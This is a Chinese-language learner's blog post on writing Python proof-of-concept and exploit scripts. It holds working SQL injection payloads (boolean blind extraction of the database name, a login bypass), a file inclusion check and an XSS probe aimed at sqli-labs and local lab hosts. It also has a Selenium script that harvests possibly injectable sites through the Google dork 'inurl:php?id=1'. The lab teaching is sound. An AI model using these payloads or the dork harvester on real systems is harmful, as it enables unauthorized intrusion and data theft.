本来按顺序应该先总结网络编程和爬虫的,但是学习了poc和exp,哇,帅的。。。原来之前我打的靶场可以这样玩儿。。今天的内容,概念性的内容很少,练习比较多,希望能跟着一起动手练练,会有很大的成就感和满足感的啦~~同样,本文只是小菜鸟的学习总结啦,如有错误,请大神赐教,小女子谢谢啦~
0x00 POC概念
POC (Proof of Concept), 直译为“概念证明”,百度百科的权威定义如下:“概念证明是证实发布的漏洞真实性的测试代码”。==》poc的要求:确定性,能够验证漏洞真实存在。
它可能仅仅只是一小段代码,功能也比较简单,只要能够用来验证某一个或者一类漏洞真实存在即可。编写POC的门槛并不是很高,关键还是在于对漏洞本身的理解。
0x01 POC编写框架
1. Pocsuite
Pocsuite框架现为知道创宇Seebug平台通用的漏洞验证框架,使用Python编写POC。可以提交POC换kb, kb可以用来兑换现金,挣点零花钱还是相当不错的。老司机们可能听过Sebug,那是Seebug的前身, 2016年Sebug收购了另一个优秀框架Beebeeto后,更名为Seebug。
2. Tangscan
Tangscan (唐朝扫描器)是wooyun社区的官方框架,使用Python编写POC。可以提交POC换汤圆,参与现金分红。
3. Bugscan
Bugscan是四叶草的官方框架,使用Python编写POC。提交POC插件获取rank奖励,可兑换实物奖励,奖品还是蛮丰富的。
0x02 POC和EXP区别
0x03 POC、EXP盲注练习—sql-labs-master 第五关(私聊可发靶场)
-
判断注入闭合方式
”’
布尔盲注:http://192.168.30.164/sqli/Less-5/
判断是否存在单引号闭合的sql注入
poc编写:结果有或者没有
”’
import requestsdef verify(url):
payload1 = “?id=1′ and 1=1 –+”
payload2 = “?id=1′ and 1=2 –+”
resp1 = requests.get(url+payload1)
resp2 = requests.get(url+payload2)text1 = resp1.text
text2 = resp2.text
print(text2)
if (‘You are in’ in text1) and (‘You are in’ not in text2):
print(url,’:存在单引号闭合的sql注入(盲注)’)
else:
print(url,’:不存在单引号闭合的sql注入(盲注)’)
verify(‘http://192.168.30.164/sqli/Less-5/’)
import requests
def verify(url):
for i in range(1,20):
payload1 = “?id=1′ and length(database())={} –+”.format(i)
resp1 = requests.get(url+payload1)
text1 = resp1.text
if ‘You are in’ in text1:
print(‘database长度为:%s’%i)
break
if __name__==’__main__’:
url = “http://192.168.30.164/sqli/Less-5/”
verify(url)
”’
exp的小练习啦
布尔盲注:http://192.168.30.164/sqli/Less-5/
You are in
”’import requests
def verify(url):
# length = []
for i in range(1,8):
list = ‘abcdefghijklmnopqrstuvwxyz’
for k in range(1,26):
j = list[k]
# payload1 = “?id=1′ and length(database())={} –+”.format(i)
payload1 = “?id=1′ and substr(database(),{},1)='{}’ –+”.format(i,j)
resp1 = requests.get(url+payload1)
text1 = resp1.text
if ‘You are in’ in text1:
print(‘database为:%s’%j)
breakif __name__==’__main__’:
url = “http://192.168.30.164/sqli/Less-5/”
verify(url)# j = input(‘请输入想玩耍关卡:’)
# verify(‘http://192.168.30.164/sqli/Less-{}/’.format(j))
# verify(‘http://192.168.30.164/sqli/Less-5/’)
0x04 POC的post型练习—sql-labs-master 第十一关
post型的SQL注入,需要在获取其url的基础上再获取表单中传的值,具体可通过burpsuite来抓包进行分析获得。在python中将所传的值放入请求以键值对的形式上传。
”’
Post poc
http://192.168.30.164/sqli/Less-11/
”’
import requestsurl = “http://192.168.30.164/sqli/Less-11/”
payloads = “admin’ or ‘1’=’1 #”
response = requests.post(url,data={‘uname’:payloads,’passwd’:123})
html = response.text
print(html)
if ‘Your Login name’ in html:
print(‘Post注入’)
0x05 POC的文件包含练习
文件包含:
- 本地文件包含 =》http://127.0.0.1/1/lfi.php?file=phpinfo.txt
- 远程文件包含 =》需要开启 allow_url_include,默认是off。远程文件包含?file=http://远程文件地址
“””
文件包含 poc
http://127.0.0.1/1/lfi.php?file=phpinfo.txt
“””
import requestsdef verify(url):
payload = ‘?file=phpinfo.txt’
reaponse = requests.get(url+payload)
html_str = reaponse.text
if ‘PHP Version’ in html_str:
print(‘存在本地文件包含’)
else:
print(‘不存在’)
if __name__ == ‘__main__’:
verify(url=”http://127.0.0.1/1/lfi.php”)
0x06 POC的XSS练习
XSS是除SQL注入外第二大的漏洞,类别有:反射型XSS,存储型XSS,DOM型XSS。
XSS可以做什么:
- 蠕虫 ==》帅的一批
- 获取cookie
- 获取被攻击者真实ip:javascript 本身不具备此功能
- 识别用户安装的软件
- XSS钓鱼
- 截图
- 键盘记录
- 访问浏览器的访问记录
- 内网扫描
“””
xss跨站脚本攻击
弹窗
http://127.0.0.1/1/xss.php?title=%3C/title%3E%3Cscript%3Ealert(123)%3C/script%3E
“””
import requests
import re
def POC():
response = requests.get(‘http://127.0.0.1/1/xss.php?title=</title><script>alert(123)</script>’)
res = response.text
if re.search(‘alert\(123\)’,res):
return True
else:
return False
if __name__ == ‘__main__’:
print(POC())
0x07 谷歌语法:通过inurl=php?id=1来搜索出可能含有注入点的网站
1.谷歌语法
2.google语法模拟点击
“””
selenium爬虫
1.通过google语法批量获取 php?id=1 d的url
2.url存到文件中:urls.txt
“””from selenium import webdriver
import time
import re# #设置无头
# chrome_option =dirver = webdriver.Chrome(r’G:\python\file\chromedriver.exe’) #创建谷歌浏览器对象,打开谷歌浏览器
dirver.get(‘https://www.google.com/search?q=inurl:php?id=1’)for i in range(10):
time.sleep(1.5)
dirver.execute_script(‘window.scrollTo(0,document.body.scrollHeight)’)
html_str = dirver.page_source # 获取源码
#数据解析
# test = dirver.find_element_by_xpath(‘//a[@id=”pnnext”]/span[2]’)
pattern = re.compile(‘<div class=”r”><a href=”(.*?)”‘,re.S)
#点击下一页
# test = dirver.find_element_by_link_text(‘下一页’)
test = dirver.find_element_by_class_name(‘r’)[0] #定位到一个元素
result = re.findall(pattern,html_str)
test.click() # 模拟点击
print(result)dirver.close() #关闭浏览器
0x08 Selenium实现模拟登录
1.selenium
selenium 是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。selenium的核心Selenium Core基于JsUnit,完全由JavaScript编写,因此可以用于任何支持JavaScript的浏览器上。selenium可以模拟真实浏览器,自动化测试工具,支持多种浏览器,爬虫中主要用来解决JavaScript渲染问题。
2.selenium实现模拟登录
“””
selenium实现模拟登录
“””
from selenium import webdriver
import time
driver = webdriver.Chrome() #Chrome()是一个对象来着
url = ‘http://192.168.30.164/sqli/Less-11/’
driver.get(url)
print(driver.page_source)username = driver.find_element_by_xpath(‘/html/body/div[2]/div/form/div[1]/input’)
password = driver.find_element_by_xpath(‘/html/body/div[2]/div/form/div[2]/input’)
submit = driver.find_element_by_xpath(‘//form/div[3]/input’) #双斜杠指从任意位置到当前的位置username.clear()
username.send_keys(‘admin’)
time.sleep(1)
password.clear()
password.send_keys(‘admin’)
time.sleep(1)
submit.click()
time.sleep(5)driver.close()
0x09 参考文章
关于selenium的详细使用可参见 https://www.jianshu.com/p/3aa45532e179
关于POC、EXP的区别详细请参见 https://blog.csdn.net/weixin_43625577/article/details/92643949
关于谷歌语法的详细使用请参加 https://blog.csdn.net/xxx0028/article/details/105818546
0x0A 总结
python真的是一门很有魅力很有意思的语言,学习的时候充满了惊喜,眼里放着光~~呐~~~希望你也能够一起练习一下啦~~冲冲冲。。。另外,有没有小哥哥小姐姐能推荐一些应急响应的学习资料呀~~不甚感激。
来源:freebuf.com 2020-08-08 11:29:02 by: MoLing
请登录后发表评论
注册